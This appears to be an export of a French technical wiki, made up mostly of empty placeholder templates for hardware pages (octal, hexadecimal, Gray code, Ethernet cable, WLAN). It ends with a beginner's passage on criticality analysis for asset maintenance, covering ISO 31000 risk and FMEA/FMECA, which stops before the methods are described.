# Hardware - L'octal

<p class="callout danger">***<span style="color: rgb(52,73,94);">DISCLAIMER :<span lang="fr"> </span><span lang="fr">Cette page est en cours de rédaction et son contenu peut être faux ou inexact. Merci de lire cette page avec toutes les précautions nécessaires.</span></span>***</p>

<p class="callout info">Titre de la page : &lt;Techno&gt; - &lt;Titre de la procédure / du cours&gt; (à supprimer une fois le titre placé)  
</p>

<table id="bkmrk-difficult%C3%A9%2A-%3Cdescrip" style="border-collapse: collapse; width: 100%; height: 46.8px; border-width: 1px; border-style: hidden;"><colgroup><col style="width: 20%;"></col><col style="width: 80%;"></col></colgroup><tbody><tr style="height: 46.8px;"><td style="height: 46.8px; border: 1px groove rgb(52,73,94);">Difficulté\*  
</td><td style="height: 46.8px; border-width: 1px; background-color: rgb(236,202,250); vertical-align: top;">Difficulté :

Notions :

</td></tr></tbody></table>

\*placer l'icône correspondant à la difficulté. supprimer cet encarts et le tableau.

<table id="bkmrk-%C2%A0d%C3%A9butant%C2%A0-%C2%A0novice%C2%A0-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col></colgroup><tbody><tr><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/debutant-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/debutant-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/novice-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/novice-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/intermediaire-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/intermediaire-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/confirme-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/confirme-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/expert-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/expert-png.png)

</td></tr><tr><td class="align-center"><span style="color: rgb(22,145,121); background-color: rgb(191,237,210);"> Débutant   
</span></td><td class="align-center"><span style="color: rgb(35,111,161); background-color: rgb(194,224,244);"> Novice   
</span></td><td class="align-center"><span style="color: rgb(230,126,35); background-color: rgb(251,238,184);"> Intermédiaire   
</span></td><td class="align-center"><span style="color: rgb(186,55,42); background-color: rgb(248,202,198);"> Confirmé   
</span></td><td class="align-center"><span style="color: rgb(52,73,94); background-color: rgb(236,240,241);"><span style="color: rgb(236,240,241); background-color: rgb(52,73,94);"> Expert </span></span></td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">I. Introduction</span>**</span>

<details id="bkmrk-indications-de-mise-"><summary>Indications de mise en page (peut être supprimé)</summary>

> *Ceci est une citation.*
> 
>  *- par \*\*\*\*\**

<p class="callout info">*Ceci est une information.*</p>

<p class="callout success">*Ceci est une astuce ou optimisation.*</p>

<p class="callout warning">*Ceci est est un avertissement.*</p>

<p class="callout danger">*Ceci est un prérequis.*</p>

```
Ceci est un bloc de code
une série de commandes
```

<details id="bkmrk-ceci-est-une-section"><summary>Ceci est une section repliable pour une étape optionnelle ou un fichier de configuration</summary>

```
Ceci
est
un
fichier
de
configuration
```

</details><table id="bkmrk-colonne-1-colonne-2-" style="border-collapse: collapse; width: 100%; height: 59.6px;"><colgroup><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col></colgroup><tbody><tr style="height: 29.8px;"><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**colonne 1**  
</td><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**Colonne 2**  
</td><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**Colonne 3**</td></tr><tr style="height: 29.8px;"><td style="height: 29.8px;">ceci</td><td style="height: 29.8px;">est  
</td><td style="height: 29.8px;">un tableau</td></tr></tbody></table>

</details><table id="bkmrk-pr%C3%A9requis-mat%C3%A9riels-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50.0596%;"></col><col style="width: 50.0596%;"></col></colgroup><tbody><tr><td class="align-center" colspan="2" style="background-color: rgb(248,202,198);">**Prérequis Matériels**</td></tr><tr><td class="align-center" style="background-color: rgb(194,224,244);">core</td><td class="align-center" style="background-color: rgb(194,224,244);">GUI</td></tr><tr><td class="align-left">- 1 vcpu
- 2 Gb RAM
- 20Gb dd

</td><td class="align-left">- 2 à 4 vcpu
- 2 à 4 Gb RAM
- 60Gb dd

</td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">II. Chapitre1</span>**</span>

#### <span style="color: rgb(35,111,161);">**2.1 Section 1**</span>

##### <span style="color: rgb(53,152,219);">*2.1.1 Sous-section*</span>

# Hardware - L'hexadécimal

<p class="callout danger">***<span style="color: rgb(52,73,94);">DISCLAIMER :<span lang="fr"> </span><span lang="fr">Cette page est en cours de rédaction et son contenu peut être faux ou inexact. Merci de lire cette page avec toutes les précautions nécessaires.</span></span>***</p>

<p class="callout info">Titre de la page : &lt;Techno&gt; - &lt;Titre de la procédure / du cours&gt; (à supprimer une fois le titre placé)  
</p>

<table id="bkmrk-difficult%C3%A9%2A-%3Cdescrip" style="border-collapse: collapse; width: 100%; height: 46.8px; border-width: 1px; border-style: hidden;"><colgroup><col style="width: 20%;"></col><col style="width: 80%;"></col></colgroup><tbody><tr style="height: 46.8px;"><td style="height: 46.8px; border: 1px groove rgb(52,73,94);">Difficulté\*  
</td><td style="height: 46.8px; border-width: 1px; background-color: rgb(236,202,250); vertical-align: top;">Difficulté :

Notions :

</td></tr></tbody></table>

\*placer l'icône correspondant à la difficulté. supprimer cet encarts et le tableau.

<table id="bkmrk-%C2%A0d%C3%A9butant%C2%A0-%C2%A0novice%C2%A0-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col></colgroup><tbody><tr><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/debutant-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/debutant-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/novice-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/novice-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/intermediaire-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/intermediaire-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/confirme-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/confirme-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/expert-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/expert-png.png)

</td></tr><tr><td class="align-center"><span style="color: rgb(22,145,121); background-color: rgb(191,237,210);"> Débutant   
</span></td><td class="align-center"><span style="color: rgb(35,111,161); background-color: rgb(194,224,244);"> Novice   
</span></td><td class="align-center"><span style="color: rgb(230,126,35); background-color: rgb(251,238,184);"> Intermédiaire   
</span></td><td class="align-center"><span style="color: rgb(186,55,42); background-color: rgb(248,202,198);"> Confirmé   
</span></td><td class="align-center"><span style="color: rgb(52,73,94); background-color: rgb(236,240,241);"><span style="color: rgb(236,240,241); background-color: rgb(52,73,94);"> Expert </span></span></td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">I. Introduction</span>**</span>

<details id="bkmrk-indications-de-mise-"><summary>Indications de mise en page (peut être supprimé)</summary>

> *Ceci est une citation.*
> 
>  *- par \*\*\*\*\**

<p class="callout info">*Ceci est une information.*</p>

<p class="callout success">*Ceci est une astuce ou optimisation.*</p>

<p class="callout warning">*Ceci est est un avertissement.*</p>

<p class="callout danger">*Ceci est un prérequis.*</p>

```
Ceci est un bloc de code
une série de commandes
```

<details id="bkmrk-ceci-est-une-section"><summary>Ceci est une section repliable pour une étape optionnelle ou un fichier de configuration</summary>

```
Ceci
est
un
fichier
de
configuration
```

</details><table id="bkmrk-colonne-1-colonne-2-" style="border-collapse: collapse; width: 100%; height: 59.6px;"><colgroup><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col></colgroup><tbody><tr style="height: 29.8px;"><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**colonne 1**  
</td><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**Colonne 2**  
</td><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**Colonne 3**</td></tr><tr style="height: 29.8px;"><td style="height: 29.8px;">ceci</td><td style="height: 29.8px;">est  
</td><td style="height: 29.8px;">un tableau</td></tr></tbody></table>

</details><table id="bkmrk-pr%C3%A9requis-mat%C3%A9riels-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50.0596%;"></col><col style="width: 50.0596%;"></col></colgroup><tbody><tr><td class="align-center" colspan="2" style="background-color: rgb(248,202,198);">**Prérequis Matériels**</td></tr><tr><td class="align-center" style="background-color: rgb(194,224,244);">core</td><td class="align-center" style="background-color: rgb(194,224,244);">GUI</td></tr><tr><td class="align-left">- 1 vcpu
- 2 Gb RAM
- 20Gb dd

</td><td class="align-left">- 2 à 4 vcpu
- 2 à 4 Gb RAM
- 60Gb dd

</td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">II. Chapitre1</span>**</span>

#### <span style="color: rgb(35,111,161);">**2.1 Section 1**</span>

##### <span style="color: rgb(53,152,219);">*2.1.1 Sous-section*</span>

# Hardware - Binaire réfléchi ou code GRAY

<p class="callout danger">***<span style="color: rgb(52,73,94);">DISCLAIMER :<span lang="fr"> </span><span lang="fr">Cette page est en cours de rédaction et son contenu peut être faux ou inexact. Merci de lire cette page avec toutes les précautions nécessaires.</span></span>***</p>

<p class="callout info">Titre de la page : &lt;Techno&gt; - &lt;Titre de la procédure / du cours&gt; (à supprimer une fois le titre placé)  
</p>

<table id="bkmrk-difficult%C3%A9%2A-%3Cdescrip" style="border-collapse: collapse; width: 100%; height: 46.8px; border-width: 1px; border-style: hidden;"><colgroup><col style="width: 20%;"></col><col style="width: 80%;"></col></colgroup><tbody><tr style="height: 46.8px;"><td style="height: 46.8px; border: 1px groove rgb(52,73,94);">Difficulté\*  
</td><td style="height: 46.8px; border-width: 1px; background-color: rgb(236,202,250); vertical-align: top;">Difficulté :

Notions :

</td></tr></tbody></table>

\*placer l'icône correspondant à la difficulté. supprimer cet encarts et le tableau.

<table id="bkmrk-%C2%A0d%C3%A9butant%C2%A0-%C2%A0novice%C2%A0-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col></colgroup><tbody><tr><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/debutant-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/debutant-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/novice-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/novice-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/intermediaire-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/intermediaire-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/confirme-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/confirme-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/expert-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/expert-png.png)

</td></tr><tr><td class="align-center"><span style="color: rgb(22,145,121); background-color: rgb(191,237,210);"> Débutant   
</span></td><td class="align-center"><span style="color: rgb(35,111,161); background-color: rgb(194,224,244);"> Novice   
</span></td><td class="align-center"><span style="color: rgb(230,126,35); background-color: rgb(251,238,184);"> Intermédiaire   
</span></td><td class="align-center"><span style="color: rgb(186,55,42); background-color: rgb(248,202,198);"> Confirmé   
</span></td><td class="align-center"><span style="color: rgb(52,73,94); background-color: rgb(236,240,241);"><span style="color: rgb(236,240,241); background-color: rgb(52,73,94);"> Expert </span></span></td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">I. Introduction</span>**</span>

<details id="bkmrk-indications-de-mise-"><summary>Indications de mise en page (peut être supprimé)</summary>

> *Ceci est une citation.*
> 
>  *- par \*\*\*\*\**

<p class="callout info">*Ceci est une information.*</p>

<p class="callout success">*Ceci est une astuce ou optimisation.*</p>

<p class="callout warning">*Ceci est est un avertissement.*</p>

<p class="callout danger">*Ceci est un prérequis.*</p>

```
Ceci est un bloc de code
une série de commandes
```

<details id="bkmrk-ceci-est-une-section"><summary>Ceci est une section repliable pour une étape optionnelle ou un fichier de configuration</summary>

```
Ceci
est
un
fichier
de
configuration
```

</details><table id="bkmrk-colonne-1-colonne-2-" style="border-collapse: collapse; width: 100%; height: 59.6px;"><colgroup><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col></colgroup><tbody><tr style="height: 29.8px;"><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**colonne 1**  
</td><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**Colonne 2**  
</td><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**Colonne 3**</td></tr><tr style="height: 29.8px;"><td style="height: 29.8px;">ceci</td><td style="height: 29.8px;">est  
</td><td style="height: 29.8px;">un tableau</td></tr></tbody></table>

</details><table id="bkmrk-pr%C3%A9requis-mat%C3%A9riels-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50.0596%;"></col><col style="width: 50.0596%;"></col></colgroup><tbody><tr><td class="align-center" colspan="2" style="background-color: rgb(248,202,198);">**Prérequis Matériels**</td></tr><tr><td class="align-center" style="background-color: rgb(194,224,244);">core</td><td class="align-center" style="background-color: rgb(194,224,244);">GUI</td></tr><tr><td class="align-left">- 1 vcpu
- 2 Gb RAM
- 20Gb dd

</td><td class="align-left">- 2 à 4 vcpu
- 2 à 4 Gb RAM
- 60Gb dd

</td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">II. Chapitre1</span>**</span>

#### <span style="color: rgb(35,111,161);">**2.1 Section 1**</span>

##### <span style="color: rgb(53,152,219);">*2.1.1 Sous-section*</span>

source :

[https://fr.wikipedia.org/wiki/Code\_de\_Gray](https://fr.wikipedia.org/wiki/Code_de_Gray)

# Hardware - Le câble ethernet

<p class="callout danger">***<span style="color: rgb(52,73,94);">DISCLAIMER :<span lang="fr"> </span><span lang="fr">Cette page est en cours de rédaction et son contenu peut être faux ou inexact. Merci de lire cette page avec toutes les précautions nécessaires.</span></span>***</p>

<p class="callout info">Titre de la page : &lt;Techno&gt; - &lt;Titre de la procédure / du cours&gt; (à supprimer une fois le titre placé)  
</p>

<table id="bkmrk-difficult%C3%A9%2A-%3Cdescrip" style="border-collapse: collapse; width: 100%; height: 46.8px; border-width: 1px; border-style: hidden;"><colgroup><col style="width: 20%;"></col><col style="width: 80%;"></col></colgroup><tbody><tr style="height: 46.8px;"><td style="height: 46.8px; border: 1px groove rgb(52,73,94);">Difficulté\*  
</td><td style="height: 46.8px; border-width: 1px; background-color: rgb(236,202,250); vertical-align: top;">Difficulté :

Notions :

</td></tr></tbody></table>

\*placer l'icône correspondant à la difficulté. supprimer cet encarts et le tableau.

<table id="bkmrk-%C2%A0d%C3%A9butant%C2%A0-%C2%A0novice%C2%A0-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col></colgroup><tbody><tr><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/debutant-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/debutant-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/novice-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/novice-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/intermediaire-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/intermediaire-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/confirme-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/confirme-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/expert-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/expert-png.png)

</td></tr><tr><td class="align-center"><span style="color: rgb(22,145,121); background-color: rgb(191,237,210);"> Débutant   
</span></td><td class="align-center"><span style="color: rgb(35,111,161); background-color: rgb(194,224,244);"> Novice   
</span></td><td class="align-center"><span style="color: rgb(230,126,35); background-color: rgb(251,238,184);"> Intermédiaire   
</span></td><td class="align-center"><span style="color: rgb(186,55,42); background-color: rgb(248,202,198);"> Confirmé   
</span></td><td class="align-center"><span style="color: rgb(52,73,94); background-color: rgb(236,240,241);"><span style="color: rgb(236,240,241); background-color: rgb(52,73,94);"> Expert </span></span></td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">I. Introduction</span>**</span>

<details id="bkmrk-indications-de-mise-"><summary>Indications de mise en page (peut être supprimé)</summary>

> *Ceci est une citation.*
> 
>  *- par \*\*\*\*\**

<p class="callout info">*Ceci est une information.*</p>

<p class="callout success">*Ceci est une astuce ou optimisation.*</p>

<p class="callout warning">*Ceci est est un avertissement.*</p>

<p class="callout danger">*Ceci est un prérequis.*</p>

```
Ceci est un bloc de code
une série de commandes
```

<details id="bkmrk-ceci-est-une-section"><summary>Ceci est une section repliable pour une étape optionnelle ou un fichier de configuration</summary>

```
Ceci
est
un
fichier
de
configuration
```

</details><table id="bkmrk-colonne-1-colonne-2-" style="border-collapse: collapse; width: 100%; height: 59.6px;"><colgroup><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col></colgroup><tbody><tr style="height: 29.8px;"><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**colonne 1**  
</td><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**Colonne 2**  
</td><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**Colonne 3**</td></tr><tr style="height: 29.8px;"><td style="height: 29.8px;">ceci</td><td style="height: 29.8px;">est  
</td><td style="height: 29.8px;">un tableau</td></tr></tbody></table>

</details><table id="bkmrk-pr%C3%A9requis-mat%C3%A9riels-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50.0596%;"></col><col style="width: 50.0596%;"></col></colgroup><tbody><tr><td class="align-center" colspan="2" style="background-color: rgb(248,202,198);">**Prérequis Matériels**</td></tr><tr><td class="align-center" style="background-color: rgb(194,224,244);">core</td><td class="align-center" style="background-color: rgb(194,224,244);">GUI</td></tr><tr><td class="align-left">- 1 vcpu
- 2 Gb RAM
- 20Gb dd

</td><td class="align-left">- 2 à 4 vcpu
- 2 à 4 Gb RAM
- 60Gb dd

</td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">II. Chapitre1</span>**</span>

#### <span style="color: rgb(35,111,161);">**2.1 Section 1**</span>

##### <span style="color: rgb(53,152,219);">*2.1.1 Sous-section*</span>

# Hardware - Le WLAN

<p class="callout danger">***<span style="color: rgb(52,73,94);">DISCLAIMER :<span lang="fr"> </span><span lang="fr">Cette page est en cours de rédaction et son contenu peut être faux ou inexact. Merci de lire cette page avec toutes les précautions nécessaires.</span></span>***</p>

<p class="callout info">Titre de la page : &lt;Techno&gt; - &lt;Titre de la procédure / du cours&gt; (à supprimer une fois le titre placé)  
</p>

<table id="bkmrk-difficult%C3%A9%2A-%3Cdescrip" style="border-collapse: collapse; width: 100%; height: 46.8px; border-width: 1px; border-style: hidden;"><colgroup><col style="width: 20%;"></col><col style="width: 80%;"></col></colgroup><tbody><tr style="height: 46.8px;"><td style="height: 46.8px; border: 1px groove rgb(52,73,94);">Difficulté\*  
</td><td style="height: 46.8px; border-width: 1px; background-color: rgb(236,202,250); vertical-align: top;">Difficulté :

Notions :

</td></tr></tbody></table>

\*placer l'icône correspondant à la difficulté. supprimer cet encarts et le tableau.

<table id="bkmrk-%C2%A0d%C3%A9butant%C2%A0-%C2%A0novice%C2%A0-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col></colgroup><tbody><tr><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/debutant-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/debutant-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/novice-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/novice-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/intermediaire-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/intermediaire-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/confirme-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/confirme-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/expert-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/expert-png.png)

</td></tr><tr><td class="align-center"><span style="color: rgb(22,145,121); background-color: rgb(191,237,210);"> Débutant   
</span></td><td class="align-center"><span style="color: rgb(35,111,161); background-color: rgb(194,224,244);"> Novice   
</span></td><td class="align-center"><span style="color: rgb(230,126,35); background-color: rgb(251,238,184);"> Intermédiaire   
</span></td><td class="align-center"><span style="color: rgb(186,55,42); background-color: rgb(248,202,198);"> Confirmé   
</span></td><td class="align-center"><span style="color: rgb(52,73,94); background-color: rgb(236,240,241);"><span style="color: rgb(236,240,241); background-color: rgb(52,73,94);"> Expert </span></span></td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">I. Introduction</span>**</span>

<details id="bkmrk-indications-de-mise-"><summary>Indications de mise en page (peut être supprimé)</summary>

> *Ceci est une citation.*
> 
>  *- par \*\*\*\*\**

<p class="callout info">*Ceci est une information.*</p>

<p class="callout success">*Ceci est une astuce ou optimisation.*</p>

<p class="callout warning">*Ceci est est un avertissement.*</p>

<p class="callout danger">*Ceci est un prérequis.*</p>

```
Ceci est un bloc de code
une série de commandes
```

<details id="bkmrk-ceci-est-une-section"><summary>Ceci est une section repliable pour une étape optionnelle ou un fichier de configuration</summary>

```
Ceci
est
un
fichier
de
configuration
```

</details><table id="bkmrk-colonne-1-colonne-2-" style="border-collapse: collapse; width: 100%; height: 59.6px;"><colgroup><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col></colgroup><tbody><tr style="height: 29.8px;"><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**colonne 1**  
</td><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**Colonne 2**  
</td><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**Colonne 3**</td></tr><tr style="height: 29.8px;"><td style="height: 29.8px;">ceci</td><td style="height: 29.8px;">est  
</td><td style="height: 29.8px;">un tableau</td></tr></tbody></table>

</details><table id="bkmrk-pr%C3%A9requis-mat%C3%A9riels-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50.0596%;"></col><col style="width: 50.0596%;"></col></colgroup><tbody><tr><td class="align-center" colspan="2" style="background-color: rgb(248,202,198);">**Prérequis Matériels**</td></tr><tr><td class="align-center" style="background-color: rgb(194,224,244);">core</td><td class="align-center" style="background-color: rgb(194,224,244);">GUI</td></tr><tr><td class="align-left">- 1 vcpu
- 2 Gb RAM
- 20Gb dd

</td><td class="align-left">- 2 à 4 vcpu
- 2 à 4 Gb RAM
- 60Gb dd

</td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">II. Chapitre1</span>**</span>

#### <span style="color: rgb(35,111,161);">**2.1 Section 1**</span>

##### <span style="color: rgb(53,152,219);">*2.1.1 Sous-section*</span>

# Méthodologie

# Méthodologie - définir la criticité

<table id="bkmrk-difficult%C3%A9%2A-%3Cdescrip" style="border-collapse: collapse; width: 100%; height: 46.8px; border-width: 1px; border-style: hidden;"><colgroup><col style="width: 20%;"></col><col style="width: 80%;"></col></colgroup><tbody><tr style="height: 46.8px;"><td style="height: 46.8px; border: 1px groove rgb(52,73,94);">[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/pUFdebutant-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/pUFdebutant-png.png)</td><td style="height: 46.8px; border-width: 1px; background-color: rgb(236,202,250); vertical-align: top;">Difficulté : Débutant

Notions : Méthodologie de travail. Classification.

</td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">I. Introduction</span>**</span>

L’analyse de criticité est définie comme le processus d’attribution aux actifs d’une note de criticité basée sur leur risque potentiel.

Le risque est défini comme «l’effet de l’incertitude sur les objectifs»; selon la norme ISO 31000: 2009 – Gestion des risques – Principes et lignes directrices.

Puisqu’il ne peut pas vraiment être quantifié; le risque; dans ce cas; est considéré comme toutes les manières possibles de faire échouer les actifs et les effets que cette défaillance peut avoir sur le système et l’exploitation dans son ensemble. Compte tenu de cela; l’analyse de criticité est étroitement liée à une analyse des modes de défaillance et des effets (AMDE) et à une analyse des modes de défaillance; des effets et de la criticité (AMDEC); qui seront abordées plus loin.

Une fois qu’une analyse de criticité a été effectuée; une AMDE est généralement effectuée sur les 20% les plus importants des actifs les plus critiques.

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">II. But de l'analyse de criticité</span>**</span>

Le but premier de l'analyse de sécurité est de hiérarchiser les actifs pour un plan de maintenance productive totale (TPM); un programme de surveillance basé sur l’état ou une analyse des causes profondes sur des équipements hautement prioritaires.

La criticité joue un rôle dans presque tous les types de maintenance. Cela se résume au risque et à ce qui rend chaque équipement critique.

L’analyse de criticité vous permet de comprendre les risques potentiels de l’actif qui pourraient avoir un impact sur votre opération. Cela garantit que la fiabilité est examinée à partir d’une loupe basée sur les risques plutôt que de l’opinion de chaque personne.

Selon le Life Cycle Institute, un modèle d’analyse de criticité doit couvrir plusieurs domaines de votre organisation, notamment:

<div class="elementor-element elementor-element-4bbd0b1 elementor-widget elementor-widget-text-editor" id="bkmrk-%C2%A0impact-client-%C2%A0impa"><div class="elementor-widget-container"><div class="elementor-text-editor elementor-clearfix">- Impact client
- Impact sur la sécurité et l’environnement
- Capacité à isoler les pannes ponctuelles
- Historique de la maintenance préventive (PM)
- Historique de la maintenance corrective
- Temps moyen entre pannes (MTBF)
- Délai de livraison des pièces de rechange
- Probabilité d’échec

</div></div></div>Étant donné que le modèle de criticité traite de plusieurs domaines d’une organisation; une analyse de criticité doit être un effort à l’échelle de l’entreprise.L’implication des départements qui s’occupent des opérations; de l’ingénierie; de la maintenance; des achats; de la santé et de la sécurité garantissent que l’analyse prend en compte toutes les fonctions opérationnelles dans leur ensemble. Vous devez comprendre que le risque peut être défini différemment entre les différentes équipes. Disposer d’une équipe diversifiée contribue à la subjectivité de l’attribution des risques.

### L'analyse de criticité est également importante car elle peut être utilisée dans une variété de scénarios au sein d'une organisation. Certains de ces scénarios peuvent ressembler à ceci:

<div class="elementor-element elementor-element-35e97c2 elementor-widget elementor-widget-text-editor" id="bkmrk-%C2%A0un-score-de-critici"><div class="elementor-widget-container"><div class="elementor-text-editor elementor-clearfix">- Un score de criticité peut être utilisé comme entrée pour aider à déterminer le classement de priorité final pour les tâches de maintenance, qui à son tour peut être utilisé avec la priorité de l’ordre de travail.
- Aide à identifier des stratégies d’atténuation des risques de haut niveau pour des équipements spécifiques. Par exemple; cela pourrait impliquer l’application d’une technique de surveillance de l’état les actifs de haute criticité. Maintenance prédictive.
- Aider à déterminer le nombre optimal de pièces de rechange pour chaque équipement.
- Fourni une contribution précieuse pour les discussions sur le budget; de sorte que les équipements de haute criticité reçoivent une priorité plus élevée pour les mises à niveau ou le remplacement.
- L’analyse de criticité aide les ingénieurs fiabilité à concentrer leurs efforts et leur énergie sur les actifs les plus critiques.

</div></div></div>## Comment effectuer une analyse de criticité

Il est important de noter qu’il n’y a aucune approche définitive pour effectuer une analyse de criticité. Voici deux méthodes largement utilisées; une approche simpliste pour commencer et une autre méthode approfondie.

